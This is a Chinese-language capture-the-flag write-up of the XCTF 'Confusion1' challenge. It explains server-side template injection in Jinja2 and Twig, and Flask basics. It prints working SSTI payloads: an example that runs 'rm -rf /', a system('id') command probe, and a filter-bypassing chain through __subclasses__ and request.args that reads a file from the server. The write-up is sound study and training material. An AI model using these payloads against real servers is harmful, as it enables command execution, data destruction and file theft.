2025.2.8——二、Confusion1 SSTI模板注入|Jinja2模板

题目来源:攻防世界 Confusion1

目录

一、打开靶机,整理信息

二、解题思路

[step 1:查看网页源码信息](#step 1:查看网页源码信息)

[step 2:模板注入](#step 2:模板注入)

[step 3:构造payload,验证漏洞](#step 3:构造payload,验证漏洞)

[step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload](#step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload)

三、小结


一、打开靶机,整理信息

题目信息:php语言,可以用扫描器,

Login和Register功能都用不了,Home就是当前页面

冷知识:蟒蛇------python 大象------elePHPant

蛇缠住了大象,猜测本题中用到了php+python,网页源码中该图片名称为:PythonVsPhp

二、解题思路

step 1:查看网页源码信息

Home页面读到了网页源码信息

Login、Register页面虽然报错,但是也包含了信息(看到其他师傅的wp才发现,报错页面也是会包含信息的)

根据txt后缀,这里应该是暗示了flag的位置

step 2:模板注入

新知识:服务器模板注入(SSTI)

服务器模板注入(SSTI)

1.概念:当应用程序在处理用户输入并将其直接嵌入到模板中进行渲染,而没有进行适当的输入验证和过滤时,就可能发生 SSTI 漏洞。攻击者可以利用这个漏洞,通过精心构造恶意输入,让模板引擎执行恶意代码,从而控制服务器。

2.攻击原理

  • 模板引擎工作流程 :正常情况下,模板引擎从应用程序获取数据,将数据填充到模板的占位符中,然后生成最终的 HTML 页面返回给用户。例如,一个简单的模板可能是 "Hello, {{username}}!",其中 {``{username}} 是占位符,应用程序会将实际的用户名数据填充进去。
  • 攻击方式 :攻击者利用 SSTI 漏洞,将恶意代码作为数据输入,模板引擎会把这些恶意代码当作合法的模板指令进行解析和执行。例如,在某些支持 Python 代码执行的模板引擎中,攻击者可能输入 {``{__import__('os').system('rm -rf /')}},这条恶意代码如果被执行,就可能删除服务器根目录下的所有文件(在 Linux 系统中),造成严重破坏。

3.检测方法

  • 手动测试 :在输入处输特殊字符与模板语句,如 Jinja2 中输{``{7*7}} ,看能否执行。故意输错引发报错,分析含模板引擎调试信息的错误提示,判断是否存在漏洞。
  • 自动化扫描工具:借助 OWASP ZAP 等 Web 漏洞扫描器,模拟攻击场景检测。利用 Bandit 等代码扫描工具,排查开发代码中用户输入直接嵌入模板且无过滤的风险。
  • 日志分析:审查 Web 服务器日志,找含模板语法或恶意代码的异常请求。查看应用程序日志,依据处理用户输入时的异常记录,判断是否存在 SSTI 漏洞。

如果处于解题阶段,可以挨个尝试漏洞(需要很大的知识储备量),但是学习的目的是为了增加知识储备量,所以学会漏洞原理以及出现场景才是重点。

参考思路:https://blog.csdn.net/l8947943/article/details/122241240

step 3:构造payload,验证漏洞

构造如下payload:(Login.php页面同样效果)

/register.php/{{7*7}}}

说明存在SSTI漏洞,继续测试

/register.php/{{7*'7'}}}

成功回显,说明是Jinja2或Twig模板

Jinja2

1.解释:Jinja2 是 Python 中一个非常流行的模板引擎,就像是一个神奇的 "代码模板加工厂" ,帮助开发者轻松创建动态网页或生成各种格式化文本。

2.基本用途:

  • 动态网页生成:在 Web 开发中,你可能需要根据不同用户请求,展示不同数据的网页。比如,电商网站要根据每个用户的浏览历史,展示个性化推荐商品列表。使用 Jinja2,你可以创建一个网页模板,里面预留一些 "空位",然后根据具体数据来填充这些 "空位",快速生成动态网页。
  • 配置文件生成:在开发过程中,有时需要生成各种配置文件。比如,为不同的服务器环境生成对应的数据库连接配置文件。Jinja2 能依据通用的配置模板和特定环境参数,生成准确的配置文件。

3.基础语法------Python表达式

  • 变量 :用 {``{ variable_name }} 来表示。变量就是你在 Python 代码中定义好,要传递到模板中的数据。例如,在 Python 代码中定义 name = "Alice",在 Jinja2 模板里就可以用 {``{ name }} 来显示 "Alice"。
  • 控制结构
    • if 语句 :类似于 Python 中的 if 条件判断。例如,{% if user.is_authenticated %} 欢迎,{``{ user.name }}! {% else %} 请登录 {% endif %},它会根据 user.is_authenticated 的真假来决定显示哪部分内容。
    • for 循环 :用于遍历列表等可迭代对象。比如,有一个商品列表 products = ['手机', '电脑', '平板'],在模板中可以用 {% for product in products %} <li>{``{ product }}</li> {% endfor %},这样就能循环展示每个商品列表项。
  • 过滤器 :对变量进行处理。例如,{``{ "hello world" | capitalize }},这里 capitalize 是过滤器,它会把字符串 "hello world" 首字母大写,结果为 "Hello world"。常用过滤器还有 length(获取字符串或列表长度)、format(格式化字符串)等。
    Twig模板

1.简述:展示逻辑分离。Twig 允许开发者创建模板文件,其中包含静态内容(如 HTML 标签)和动态占位符,然后通过 PHP 代码将动态数据填充到这些占位符中,最终生成完整的输出页面。

2.基本语法:

  • 变量输出 :使用双花括号 {``{ }} 来输出变量。例如,在 PHP 代码中定义了一个变量 $name = 'John';,在 Twig 模板中可以使用 {``{ name }} 来输出这个变量的值。
  • 控制结构
    • if 语句:用于条件判断。

    • for 循环:用于遍历数组或对象。

    • 过滤器 :用于对变量进行处理。例如,{``{ text|upper }} 会将 text 变量的值转换为大写。常用的过滤器还有 length(获取字符串或数组的长度)、date(格式化日期)等。

二者差异性:Jinja2 的语法相对更灵活一些,能支持更多 Python 风格的表达式。Twig 语法更多遵循 PHP 的规范和习惯。

区分方法:用python的表达式,看能否正确解析,成功则为Jinja2,否则为Twig

  • Jinja2
    • Python 风格表达式 :尝试输入 Python 风格的表达式,如 {``{ [1, 2, 3][0] }} (列表索引操作)或 {``{ __import__('os').system('id') }} (尝试执行系统命令,在有漏洞情况下)。如果页面能正确解析并执行这些 Python 风格的操作,很可能是 Jinja2 模板引擎。因为 Jinja2 与 Python 紧密结合,支持这类 Python 表达式。
    • 内置函数 :测试 Jinja2 特有的内置函数,如 {``{ cycler('a', 'b').next() }} ,若能得到预期结果,则可辅助判断为 Jinja2。
  • Twig
    • PHP 相关特性 :输入符合 PHP 语法习惯的内容。例如,测试 Twig 中特有的功能,如使用 date 过滤器按照 PHP 的日期格式进行日期处理,输入 {``{ "now"|date("Y-m-d") }} ,如果能正确显示格式化后的日期,更倾向于是 Twig 模板。

传参:/register.php/{{ import('os').system('id') }}

得到回复:不要使用这种方法------意为该漏洞存在,说明方向正确

传参:/register.php/{{ "now"|date("Y-m-d") }}

得到回复:不行!换一种方法

由此可以确定是Jiinjia2模板,这里也验证了Home页面的图片,蟒蛇python更胜一筹

step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload

使用python的open函数来读取文件,构造payload如下

/register.php/{{ open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}

回显失败,应该是被过滤了,再次构造

getattr函数

1.Python内置函数,主要用于获取对象的属性值。

2.语法和参数

getattr(object, name[, default])

  • object:必选参数,要获取属性的对象,可以是自定义类的实例、内置对象(如列表、字典等)。
  • name:必选参数,字符串类型,表示要获取的属性名。
  • default :可选参数,如果指定的属性不存在,返回该默认值;若未提供该参数,且属性不存在,则会引发 AttributeError 异常。
/register.php/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}

仍然回显错误,尝试逐字符拼接函数名

/register.php/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}

仍然被过滤,下面用到了request函数,构造payload

/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

得到了flag回显。

以上payload解释:

以一个空字符串 '' 作为起始对象,因为在 Python 中,所有对象都继承自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构

''.class:获取空字符串对象的类,即 str 类。

mro:是 Python 类的一个属性,它表示方法解析顺序(Method Resolution Order),是一个包含类层次结构的元组。

[2]:通过索引 2 可以从 str 类的 mro 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表

subclasses() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表

索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)或者 file 类(在 Python 2 中),这个类可以用于文件的读写操作

调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件

.read():调用打开文件对象的 read 方法,读取文件的全部内容

payload以及注释摘自:3.攻防世界 Confusion1(服务器模板注入SSTI)-CSDN博客
request是Flask框架的一个全局对象,表示"当前请求的对象(flask.request)"
Flask框架

1.基本概念:Flask 是一个轻量级的 Python Web 框架,它只提供了 Web 应用的核心功能,如路由、请求处理、响应返回等。开发者可以根据项目需求自由选择和集成各种扩展,这种灵活性使得 Flask 既适合初学者学习 Web 开发,也适合开发小型到大型的各种 Web 项目。

2.主要特点:

  • 轻量级与简洁性:Flask 的核心代码简洁,易于理解和上手。它不强制使用特定的数据库、模板引擎或其他组件,开发者可以根据自己的喜好进行选择。例如,Flask 本身不自带数据库操作功能,但可以轻松集成 SQLAlchemy(用于关系型数据库)或 MongoEngine(用于 MongoDB)等数据库操作库。
  • 高度可扩展性:拥有丰富的扩展生态系统,涵盖了从用户认证、数据库操作到缓存管理等各个方面。例如,Flask-Login 可用于用户登录管理,Flask-SQLAlchemy 简化了数据库操作,Flask-Caching 可以实现缓存功能。
  • 灵活性:允许开发者自由组织项目结构,无论是小型的单文件应用,还是大型的模块化项目,Flask 都能很好地适应。开发者可以根据业务需求灵活设计路由、视图函数和模板结构。

三、小结

1.SSTI模板注入,以下流程很重要

逐步排查验证,然后构造payload

2.Jinja2模板和Twig模板区别在于,前者更多使用Python,后者更多使用php语言,可以从两种语言的不同进行区分两种模板

3.SSTI模板注入和前面做过的xss模板注入的沙箱逃逸,都用到了双花括号中加入计算式进行验证漏洞,以后也可以多使用,看是否能遇到相似题目

相关推荐
文城52131 分钟前
HTML-day1(学习自用)
前端·学习·html
漂亮_大男孩39 分钟前
深度学习|表示学习|CNN中的Layer Normalization | 25
人工智能·深度学习·神经网络·学习·cnn
虾球xz1 小时前
游戏引擎学习第92天
python·学习·游戏引擎
linwq81 小时前
Java网络编程学习(一)
java·网络·学习
xing.yu.CTF1 小时前
2022年中职网络建设与运维赛题-windows服务器解析
运维·服务器·网络·windows·网络建设与运维
翻晒时光1 小时前
24、深入理解与使用 Netty:Java 高性能网络编程的利器
java·网络
半个西瓜.2 小时前
渗透利器工具:Burp Suite 联动 XRAY 图形化工具.(主动扫描+被动扫描)
安全·web安全·网络安全
小黑子不会打篮球3 小时前
hackdudo2解题过程
网络·学习·web安全·网络安全
lisanndesu5 小时前
Tcp_socket
网络·网络协议·tcp/ip
予早5 小时前
HTTP 请求头、响应头常见字段分析
网络·网络协议·http